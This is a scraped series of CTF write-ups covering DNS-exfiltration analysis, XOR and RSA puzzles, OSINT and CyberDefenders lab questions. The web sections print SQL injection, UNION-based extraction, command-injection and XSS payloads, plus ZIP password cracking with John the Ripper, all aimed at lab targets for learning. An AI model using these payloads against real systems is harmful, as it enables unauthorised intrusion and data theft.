And after some really good research and confusion with an AI buddy I figured out it was a Base64 encoded RC4 stream cipher that was encrypted with the key we found earlier

So yeah I just used CyberChef to decrypt the flag

MyData: DFIR

Description: Can you get the data ?

After opening the pcap in Wireshark and filtering for DNS traffic I immediately noticed something suspicious; a high volume of DNS queries to fahemsec.com, each with a different short subdomain that looks like a hex string:

4661.fahemsec.com 
6865.fahemsec.com 
6d53.fahemsec.com 
6563.fahemsec.com 
7b44.fahemsec.com 
...

This is a textbook DNS Exfiltration signature; the attacker broke their payload into hex chunks and encoded each one as a subdomain label in outbound DNS queries, and since most networks freely allow outbound DNS, this technique can silently bypass firewalls and DLP solutions.

I used tshark to filter for DNS requests only (dns.flags.response == 0), target our domain, and carve out just the subdomain portion:

tshark -r data.pcapng \ 
-Y 'dns.flags.response == 0 && dns.qry.name contains "fahemsec.com"' \ 
-T fields -e dns.qry.name \ 
| awk -F. '{print $1}' \ 
| awk '!seen[$0]++'

The output was:

4661 6865 6d53 6563 7b44 4e53 5f45 7866 696c 7472 6174 696f 6e5f 3173 5f52 3361 6c7d

Then I quickly decoded the hex sequence using python:

hex_data = [
    "4661", "6865", "6d53", "6563", "7b44", "4e53", "5f45", "7866",
    "696c", "7472", "6174", "696f", "6e5f", "3173", "5f52", "3361", "6c7d"
]

flag = "".join(bytes.fromhex(h).decode('ascii') for h in hex_data)
print(flag)

And the final flag was: FahemSec{DNS_Exfiltration_1s_R3al}

Plane: DFIR

Description: Some protocols are more transparent than they appear.

After going through the pcap in Wireshark, I noticed alot of failed GET requests, with admin credentials in the headers, and it seamed like a brute-force attack. So my first step was to filter for the successful requests by using this filter: http.response.code == 200

And after following the HTTP stream I found the flag in the successful GET request's header!

Top Secret: DFIR

Description: Can you get my secret from these packets?

I opened the file in Wireshark and started scrolling through the packets, and the first thing that caught my eye was at the bottom of the capture. The traffic ends with a flood of repeated unanswered ARP requests:

VMware_c0:00:08  →  ARP  "Who has 192.168.44.2? Tell 192.168.44.1"
VMware_c0:00:08  →  ARP  "Who has 192.168.44.2? Tell 192.168.44.1"
VMware_c0:00:08  →  ARP  "Who has 192.168.44.2? Tell 192.168.44.1"
(no reply...)

ARP is how devices on a local network find each other. The repeated requests with no answer means 192.168.44.2 went offline or disconnected. But more importantly, this told me the environment: a local VMware network on the 192.168.44.x subnet, with 192.168.44.147 being the only active host worth focusing on.

With the local IP identified, I filtered traffic to and from that machine:

http && ip.addr == 192.168.44.147

The filtering immediately showed two things happening:

First, sequential GET /user/22, /user/23, /user/24, /user/25 requests against a JSON API on port 9090 (IDOR enumeration by an automated tool).
Second, further down, a GET /Finance_intro.pdf HTTP/1.1 request followed immediately by a 200 OK (application/pdf) response. That's the file transfer we care about :3

Wireshark can reconstruct files from HTTP traffic automatically. I went to:

File → Export Objects → HTTP

Finance_intro.pdf appeared in the list. I saved it, we now have the actual file that was transferred, which had the flag

Decoder: Crypto

We were asked to decode this photo, and after some reverse image search I found that this was an alphabet called "Pokémon Go Unknown"

So I decoded the text according to this alphabet and the final flag was EASYFLAGLEET

oneROX: Crypto

The chall's name indicates that it's a single-byte XOR challenge, so I just made a quick script that brute-forces the flag:

cipher_hex = "63425948170d6b4c4548407e484e561515181a1a1b1f4c4e1a4c48494f494f4e1e1449481a1a484c1a1d1a181518155027"

cipher = bytes.fromhex(cipher_hex)

for key in range(256):
    decrypted = bytes([b ^ key for b in cipher])
    try:
        text = decrypted.decode(errors="ignore")
        if "FahemSec{" in text:
            print(f"[+] Key found: {key} (0x{key:02x})")
            print(text)
            break
    except:
        continue

and found the flag:

[+] Key found: 45 (0x2d)
Note: FahemSec{8857762ac7aedbdbc39de77ea7075858}

Rookie: Misc

Description: While Developing our platform on the early stage we wanted to test admin panel in production without being crawled by bots online , so our developer suggested to use a very random subdomain name to avoid that, seems he was a rookie !

Okay so after some research I found alot of tools that can get the subdomains of a given domain, so I just used this one

┌──(ssumix㉿VICTUS)-[~]
└─$ curl "https://crt.sh/?q=%25.fahemsec.com&output=json" | grep admin

And found the subdomain admin-portal-09c097fa23

So final flag becomes: FahemSec{admin-portal-09c097fa23}

And yeah that was all, hope you had fun reading this writeup! :>

0xFun CTF Challenges Write-up

Sun, 15 Feb 2026 00:00:00 GMT

Ghost: Forensics

Description: The interception of a transmission has occurred, with only a network capture remaining. Recover the flag before the trail goes cold. (The challenge was updated with different files during the CTF)

We were given a PNG file wallpaper.png, so I made my initial examinations:

I noticed the Trailer data after PNG IEND chunk warning in exiftool's output, which indicated that there's either embedded files or steganography. My next step was examining the file for stego:

zsteg's output made it obvious that there's an embedded 7z archive in this image, so I used binwalk to extract it:

Then I extracted the archive using 7z, but was asked for a password:

I had noticed earlier that the image had this weird text 1n73rc3p7_c0nf1rm3d, and I kept it noted to be used later. The most logical approach was to try it as the password, and it was correct!

Then I moved to the /fishwithwater directory, and the flag was there in a file named nothing.txt:

Kd: Forensics

Description: Something crashed. Something was left behind.

We were given these files:

I first examined the crypter.dmp, which seemed to be a Windows MiniDump file. It contains the application’s memory data at the moment it crashed, as the description indicates.

My first step was checking any text in this file using strings and grepping the flag format 0xfun, which surprisingly showed the flag (unintended solution):

Tesla: Forensics

Description: Flipper Zero, often referred to as a hacking device, is designed to capture frequencies and execute commands. It's considered a risky tool to have, as it is illegal in some countries. Perfect. We’ll keep the same flow and just naturally include the script where it fits — like you actually used it while solving.

We were given a file named Tesla.sub, and since .sub files are usually related to Flipper Zero Sub-GHz captures, I initially assumed this would involve analyzing RF data or decoding some captured transmission.

I started with basic inspection:

It turned out to be ASCII text, which was unusual because real RAW Sub-GHz captures normally contain timing values, not clean binary-looking text. I opened the file and saw:

Filetype: BadUsb 0xfun
Version: 1
Frequency: 433920000
Protocol: RAW
RAW_Data: 11111111 11111110 00100110 ...

The RAW_Data section consisted entirely of 8-bit binary values separated by spaces. Instead of treating it as radio data, I extracted the RAW values and converted each 8-bit chunk to ASCII. The result wasn’t signal data; it was a Windows batch script!

Inside the decoded content, I saw:

set "Il�c=pesbMUQl73oWnqD9rAvFRKZaf0hO5@dBN4uSzCtGjE YxITwXiVm1Jcgy26LkH8P"

Followed by patterns like:

%IlXc:~29,1%
%IlXc:~1,1%
%IlXc:~54,1%

This is a classic batch obfuscation method. In Windows batch:

%variable:~start,length%

Extracts a substring, so the script defines a long string and rebuilds another command character by character using specific indexes.

Instead of manually resolving every index, I parsed the offsets and reconstructed the hidden string, which revealed a long hex string:

5958051a1b170013520746265a0e51435b36165752470b7f03591d1b364b501608616e

I converted it from hex to ASCII directly, but it was unreadable (clearly encrypted).

So I went back to the batch script and looked carefully; there were readable phrases inside it, including:

i could be something to this

I immediately thought that this could be the key used in XORing this hex string. Here’s the script I used:

hex_str = "5958051a1b170013520746265a0e51435b36165752470b7f03591d1b364b501608616e"

cipher = bytes.fromhex(hex_str)
key = b"i could be something to this"

result = bytearray()

for i in range(len(cipher)):
    result.append(cipher[i] ^ key[i % len(key)])

print(result.decode())

After running it, the output was clean ASCII and revealed the flag:

0xfun{d30bfU5c473_x0r3d_w1th_k3y}

Nothing Expected: Forensics

Description: None

We were given a PNG file, so I did my initial investigations:

I noticed the Applicationvndexcalidrawjson output in the photo's meta-data, which is basically the internal JSON format that Excalidraw uses to save its drawings. I imported the given photo and got the flag:

DTMF: Forensics

Description: None

We were given a .wav file. After listening to it and considering the challenge's name, it was clear that it was a DTMF message. I decoded it using an online DTMF decoder:

Decoded: 010011010100100001001010011101000101101000110010011100000011011101010110010010000101010101111000011000100101010001000110011001100101100101101010010100100110111101011000001100100110110001111010010110010111101001010110011001100110010001101101001101010011000001100011011011100011000000111101

I converted this binary into ASCII and noticed that the output was Base64:

After decoding Base64, I noticed the output was probably shifted characters (the 0 and {} of the flag format were there). I tried all possible Caesar Cipher rotations, but none worked. My next option was Vigenère Cipher, but the key was unknown. Instead of brute-forcing, I rechecked the file for hidden text using exiftool:

I noticed a weird comment, which I used as a key, and it worked!

And that was all. Don’t forget to check my other write-ups!

CTFlearn Web Challenges Write-up

Sat, 06 Dec 2025 00:00:00 GMT

Basic Injection: Easy

Description: See if you can leak the whole database using what you know about SQL Injections. link

The challenge provided the original SQL query that shows the result, which was SELECT * FROM webfour.webfour where name = '$input'. This query takes the user's input and checks it in its database for a matching name.

So, I tried injecting ' OR '1' = '1 and it dumped the database, showing the flag!

POST Practice: Medium

Description: This website requires authentication, via POST. However, it seems as if someone has defaced our site. Maybe there is still some way to authenticate?
http://165.227.106.113/post.php

After checking the website, I found some credentials in the source code

So my first thought was sending a post request using curl:

curl -X POST http://165.227.106.113/post.php -d "username=admin&password=71urlkufpsdnlkadsf"

and got the flag!

<h1>flag{p0st_d4t4_4ll_d4y}</h1>

Another approach would be sending a POST request with the provided credentials by burpsuite and the flag will appear

Don't Bump Your Head(er): Medium

Description: Try to bypass my security measure on this site! http://165.227.106.113/header.php

I noticed that the challenge involved headers as its name indicates, so I sent a GET request using burp as my first step

Then I noticed the comment , which could be the agent that the challenge accepts. So I sent another request, changing the User-Agent to Sup3rS3cr3tAg3nt

And it worked! but it still needed to be "accessed" from awesomesauce.com, which made me think of referring to it by adding: Referer: awesomesauce.com to the header

And we got our flag!

Calculat3 M3: Hard

Description: Here! http://web.ctflearn.com/web7/ I forget how we were doing those calculations, but something tells me it was pretty insecure.

The challenge was a simple calculator that its input field seemed vulnerable, So I intercepted the calculating GET request by burp, then sent it to the repeater

I thought of changing the value of expression to ;ls, to check for command-injection

And it actually worked :>

Inj3ction Time: Hard

Description: I stumbled upon this website: http://web.ctflearn.com/web8/ and I think they have the flag in there somewhere. UNION might be a helpful command

The website looked similar to the Basic injection's website.. It asks for an id then shows some info about dogs

I noticed that it only accepts numbers from 1 to 3, and no other characters, so even though it's an SQLi challenge it doesn't show an error when entering quotes. However, a UNION attack may be used as the challenge description hints.

So, after some testing NULL values with UNION SELECT I found that we have 4 columns

Then I checked which columns are vulnerable

After that I checked the available tables by querying table_name from information_schema.tables

I scrolled down a bit till I noticed an interesting table: w0w_y0u_f0und_m3.

Then I checked the available columns by querying column_name from information_schema.columns

And after scrolling down again, I noticed an interesting column name: f0und_m3.

Now as we have the column and table names, our final query should be:

1 union select f0und_m3,2,3,4 from w0w_y0u_f0und_m3

Which worked!

Alright, those were all the challenges I managed to solve. The other challenges are either down, or I still haven't tried them yet. Stay tuned for more write-ups! :)

EYCC 2025 — OSINT Challenges (onsite-round)

Sat, 20 Sep 2025 00:00:00 GMT

EYCC 2025 — OSINT Challenges (onsite-round)

Hey! In this write-up, I’ll cover the Egyptian Youth Cybersecurity Competition (EYCC) OSINT challenges of the final onsite round.

Let’s get started!

First Challenge

We were given this picture:

We had to locate where this photo was taken and extract the blurred timestamp, then combine them with the string “echo site” to form the password of a Pastebin link that contains the flag.

Zooming into the photo, I immediately noticed the timestamp: 2025-8-24
I also recognized the place — Longyearbyen.

I searched for Longyearbyen on Google Earth and found the exact spot:

The challenge hinted that the location starts with “S”, so after clicking the location we see:

The required part was Svalbard.

So the final password was:


Svalbard echo site 2025-8-24

Entering it into Pastebin revealed the flag:

Second Challenge

We were given a username: InsaneHunterCTF
We needed to trace it and find the flag.

Searching for the username across platforms, I found a GitHub account:

Inside the HunterCTF repo there was an HTML file:

And inside it — an interesting comment:

Opening the link gave:

Appending /secure.zip downloaded a protected ZIP file.

I produced a hash:


zip2john secure.zip > hash.txt

Then cracked it:


john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

John outputted something like:


!LUVDKR!..*7¡Vamos!

…but the password didn’t work.

The challenge also hinted at fuzzing /hidden_FUZZ.

I used ffuf:


ffuf -u [http://13.62.48.186/hidden_FUZZ](http://13.62.48.186/hidden_FUZZ) -w wordlist.txt

It found:


/hidden_data

Inside were two PDF files.

leak.pdf looked corrupted, so I used strings leak.pdf:

It wasn’t the correct flag.

The second file, leak2.pdf, also showed a wrong flag:

So I ran strings on it:

This time it revealed the correct ZIP password.

After unzipping, flag.zip.txt contained:

And voilà!

That was all! Don’t forget to check my other write-ups~

EYCC 2025 — OSINT Challenges

Sun, 07 Sep 2025 00:00:00 GMT

EYCC 2025 — OSINT Challenges

Hola! This write-up covers the Egyptian Youth Cybersecurity Competition (EYCC) OSINT challenges that I solved with steps taken to find the flag.

This was my first time exploring OSINT challenges, and I definitely enjoyed them!

First Challenge: Phantom Employee

Our mission was to find the name of a fired employee and check their digital footprint to find the flag.

We were given a link to the company’s website, which had an Our Team page:

There was no clue about the fired employee either on the page itself or in the source code. So I copied the challenge’s link to the WayBack Machine and found an old version of the website that had the fired employee’s name:

Then I searched for this employee’s name across different platforms but initially found nothing. After some digging, I finally found a LinkedIn account with the same name and noticed the flag in the account’s info:

Second Challenge: Shadow Signal

This time, the goal was to track the digital footprint of an employee at a company called TechSecure Inc. to find the flag.

A link to the company’s website was provided. I checked the site and noticed something interesting in the Our Team section:

I searched for this username on different platforms and found an X account belonging to the same employee, which included a posted picture:

I first thought the flag was in the picture, so I tried extracting metadata and checking for steganography but found nothing. At this point, I almost lost hope.

However, in the comment section, I found an old comment from someone named Mark, who was definitely not a contestant since the comment was made before the competition started:

Following that account led me to another picture:

I downloaded this picture and examined it using strings:

strings coffee.jpg | head

The output hinted at a link to check:

After checking the link, I found the flag directly:

That’s it! Don’t forget to check my other write-ups for the Web, Crypto, and Forensics challenges.

EYCC 2025 — Forensics Challenges

Sun, 07 Sep 2025 00:00:00 GMT

EYCC 2025 — Forensics Challenges

Hi there! This write-up covers the Egyptian Youth Cybersecurity Competition (EYCC) Forensics challenges that I managed to solve, with the steps taken to find each flag.

Let’s get started!

First Challenge: Paper Trail

We were given a PDF file named secret.pdf, which appeared completely blank.
I checked its metadata using exiftool and immediately found the flag.

Second Challenge: Fractured Memory

We were given a password-protected ZIP file named CUNTISSIMO.

First, I created a hash of the ZIP password using zip2john:

zip2john CUNTISSIMO > hash.txt

Then I cracked the password using JohnTheRipper:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

John successfully cracked the password: 123456789

After unzipping the archive, a file named CUNTISSIMO was extracted. I examined it with the file command and found that it was a JPEG, but opening it showed that it was corrupted.

To investigate, I checked the file in a hex editor and noticed the header was incorrect:

The correct JPEG header should be:

FF D8 FF E0

I fixed the header manually, and the image was successfully repaired:

The patched image revealed an encoded string that looked like Base32, so I decoded it using DCode.

And here’s the flag!

That was all! Don’t forget to check my other write-ups for the Web, Crypto, and OSINT challenges.

EYCC 2025 — Crypto Challenges

Sun, 07 Sep 2025 00:00:00 GMT

EYCC 2025 — Crypto Challenges

Hey! This write-up covers the Egyptian Youth Cybersecurity Competition (EYCC) Crypto challenges that I managed to solve with steps taken to reveal the final flag.

First Challenge: Veiled Secret

This challenge was about decrypting a secret message:

MKywL3gznaqhM2ghqzuxnzMvq-TulsD==TOR13

I noticed the TOR13 at the end, which points to starting with ROT13.

So, I copied the secret message to my go-to decoder, Dcode, and checked the output:

Now we’re left with Base64 encoded text, so I decoded it in the same website and got the flag:

Second Challenge: Golden Spiral

We were given a file named goldenSpiral. It was not executable, so I made it executable:

chmod +x goldenSpiral

Then I tried executing it:

./goldenSpiral

But it threw an error:

bash: ./goldenSpiral: cannot execute: required file not found

I checked the file type:

file goldenSpiral

It revealed that it was an ELF executable requiring this interpreter:

/nix/store/lmn7lwydprqibdkghw7wgcn21yhllz13-glibc-2.40–66/lib/ld-linux-x86–64.so.2

After running the file with the required interpreter, an encrypted flag was returned:

fzef{7i0fGcobhxzwr4j}

The challenge mentioned a sequence that “grows almost exponentially,” suggesting the Fibonacci sequence. Since the encrypted flag seemed alphabetically shifted, I used this Fibonacci Cipher Decoder and started from 1 (because e comes right before f in the alphabet).

And we got the flag!

Third Challenge: Silent Keys

This challenge was an RSA decryption challenge.

We were given:

n = 148304669693572711157725718049458731328582148078019
e = 65537
c = 35618364216358867907731764651946346081071748936005

The hint said:

n is the product of two primes; one of them is the integer part of pi multiplied by 10^5

This challenge can be solved in two ways:

Directly inputting the values in Dcode to get the flag:

Or factorizing n using factordb to get p and q:

Then calculating d from p, q, e:

Finally, decrypt the ciphertext c to reveal the flag:

And that’s all! Don’t forget to check my other write-ups for the Web, Forensics, and OSINT challenges!

EYCC 2025 — Web Challenges

Sun, 07 Sep 2025 00:00:00 GMT

EYCC 2025 — Web Challenges

Hello there! This write-up covers the Egyptian Youth Cybersecurity Competition (EYCC) web challenges I solved, focusing on the methods and techniques used.

First Challenge: Open Gate

The link redirected me to this login page:

My first thought was that it was probably vulnerable to SQL injection, so I tried injecting:

a’ OR 1=1 --

And the flag appeared!

Second Challenge: Secure Shop

This time it was a search page:

By inspecting the page with developer tools, I found the flag laying there:

I suspected the challenge should be solved in another way. The JavaScript function was converting ASCII values to normal characters and saving it in a variable called flag.

Then I checked if the website was vulnerable to XSS by testing:

<script>alert(1)</script>

It worked!

Next, I copied the JavaScript code from the page into the search bar, added an alert to reveal the flag:

<script>
var codes = [101, 121, 99, 99, 123, 101, 102, 108, 99, 107, 102, 
             106, 101, 110, 99, 108, 97, 107, 101, 102, 125];
var flag = String.fromCharCode.apply(null, codes);
alert(flag);
</script>

The site blocked input on reload, so I ran the script locally to view the flag:

Third Challenge: Whisper Box

The webpage itself had nothing special:

I viewed the page source and found some credentials:

My first thought was to send a POST request with these credentials using cURL:

And here’s the flag!

Fourth Challenge: Secure Bank

To solve this challenge and get the flag, our mission was to make a CSRF PoC for the password changing page of a provided website.

The login page:

After logging in with provided credentials (user & password), the dashboard appeared:

I checked the password changing page and captured the request using Burp Suite:

Then I copied the request to CSRF Shark and created a CSRF PoC:

Finally, I submitted the PoC after adding the no-referrer meta tag (mandatory for acceptance):

Et voila!

And that’s it! Don’t forget to check my other write-ups for the Crypto, Forensics, and OSINT challenges!

0xSky

EYCC 2026 Finals DFIR Challenges Writeup

First Challenge: Silent Access

Q1: What is the PID of the suspicious process observed on the victim's machine?

Q2: What is the full command typed by the insider to download that malicious executable?

Q3: What legitimate Windows utility was abused to download the suspicious executable?

Q4: Mahmoud had an important archive that he protected by a special password. This password is left somewhere on his desktop. Can you get this password?

Q5: What is the important data Mahmoud was trying to hide inside that archive?

Final Flag

Second Challenge: Simple Silent Access

Final Flag

Third Challenge: Operation GANBAR | Top Secret Fallines

Final Flag

EYCC 2026 Qualifications Ghost in the hall Challenge Writeup

Q1: What is the IP address of the compromised workstation?

Q2: What is the Command & Control IP address and port? (format: IP:Port)

Q3: What User-Agent does the malware use for beaconing?

Q4: What server header and OS is the C2 gateway running?

Q5: What is the beaconing interval used by the malware? (in seconds)

Q6: When did the first C2 beacon occur? (UTC, format: YYYY-MM-DD HH:MM:SS)

Q7: What is the SHA256 of the second executable?

Q8: What is the malware detection label based on the ESET-NOD32 AV?

Q9: What is the timestamp for the malware's creation? (UTC, format: YYYY-MM-DD HH:MM:SS)

Q10: As part of VM evasion, what Windows registry key did the malware query to detect VMware?

Final Flag:

EYCC 2026 Qualifications Trust Issue Challenge Writeup

Q1: The victim interacted with the threat actor on a specific chat platform to receive a requested document. What is the name of this communication application?

Q2: What is the ID of the conversation between the attacker and the victim?

Q3: The attacker mentioned the password used to unzip the folder containing that malicious pdf, what is the used password?

Q4: The victim reported that upon double-clicking the supposed HR document a Command Prompt window briefly flashed on the screen before the document opened. What is the exact name of the hidden batch script that was executed via the command line arguments?

Q5: What is the name of the legitimate binary (LOLBin) that the attacker utilized to deliver the malicious payload onto the compromised system?

Q6: What is the full path of the delivered malicious Payload?

Q7: The attacker established a persistence mechanism to automatically trigger the delivered payload. What is the name of the component responsible for this execution?

Q8: The attacker aimed to establish persistence what is the MITRE ATT&CK ID of the used technique? Format (T****.***)

Q9: The attacker left a message for the victim trolling him, Get the main content of that txt file.

Q10: What is the exact creation time of this txt file on the victim machine? Format (YYY-MM-DD HH:MM:SS)

Final Flag:

Insider Cyberdefenders Lab Writeup

Q1: Which Linux distribution is being used on this machine?

Q2: What is the MD5 hash of the Apache access.log file?

Q3: It is suspected that a credential dumping tool was downloaded. What is the name of the downloaded file?

Q4: A super-secret file was created. What is the absolute path to this file?

Q5: What program used the file didyouthinkwedmakeiteasy.jpg during its execution?

Q6: What is the third goal from the checklist Karen created?

Q7: How many times was Apache run?

Q8: This machine was used to launch an attack on another. Which file contains the evidence for this?

Q9: It is believed that Karen was taunting a fellow computer expert through a bash script within the Documents directory. Who was the expert that Karen was taunting?

Q10: A user executed the su command to gain root access multiple times at 11:26. Who was the user?

Q11: Based on the bash history, what is the current working directory?

Amadey-APT-C-36 Cyberdefenders Lab Writeup

Q1: In the memory dump analysis, determining the root of the malicious activity is essential for comprehending the extent of the intrusion. What is the name of the parent process that triggered this malicious behavior?

Q2: Once the rogue process is identified, its exact location on the device can reveal more about its nature and source. Where is this process housed on the workstation?

Q3: Persistent external communications suggest the malware's attempts to reach out C2C server. Can you identify the Command and Control (C2C) server IP that the process interacts with?

Q4: Following the malware link with the C2C, the malware is likely fetching additional tools or modules. How many distinct files is it trying to bring onto the compromised workstation?

Q5: Identifying the storage points of these additional components is critical for containment and cleanup. What is the full path of the file downloaded and used by the malware in its malicious activity?

Q6: Once retrieved, the malware aims to activate its additional components. Which child process is initiated by the malware to execute these files?

Q7: Understanding the full range of Amadey's persistence mechanisms can help in an effective mitigation. Apart from the locations already spotlighted, where else might the malware be ensuring its consistent presence?

Conclusion

RedLine Cyberdefenders Lab Writeup

Q1: What is the name of the suspicious process?

Q2: What is the child process name of the suspicious process?

Q3: What is the memory protection applied to the suspicious process memory region?

Q4: What is the name of the process responsible for the VPN connection?

Q5: What is the attacker's IP address?

Q6: What is the full URL of the PHP file that the attacker visited?

Q7: What is the full path of the malicious executable?

FahemSec CTF Challenges Write-up

Case 101 Part. 1: DFIR

Case 101 Part. 2: DFIR

MyData: DFIR

Plane: DFIR

Top Secret: DFIR

Decoder: Crypto

oneROX: Crypto

Rookie: Misc

0xFun CTF Challenges Write-up

Ghost: Forensics

Kd: Forensics

Tesla: Forensics

Nothing Expected: Forensics

Q8: The attacker aimed to establish persistence what is the MITRE ATT&CK ID of the used technique? Format (T**.*)

Q2: What is the MD5 hash of the Apache `access.log` file?

Q5: What program used the file `didyouthinkwedmakeiteasy.jpg` during its execution?

Q10: A user executed the `su` command to gain root access multiple times at 11:26. Who was the user?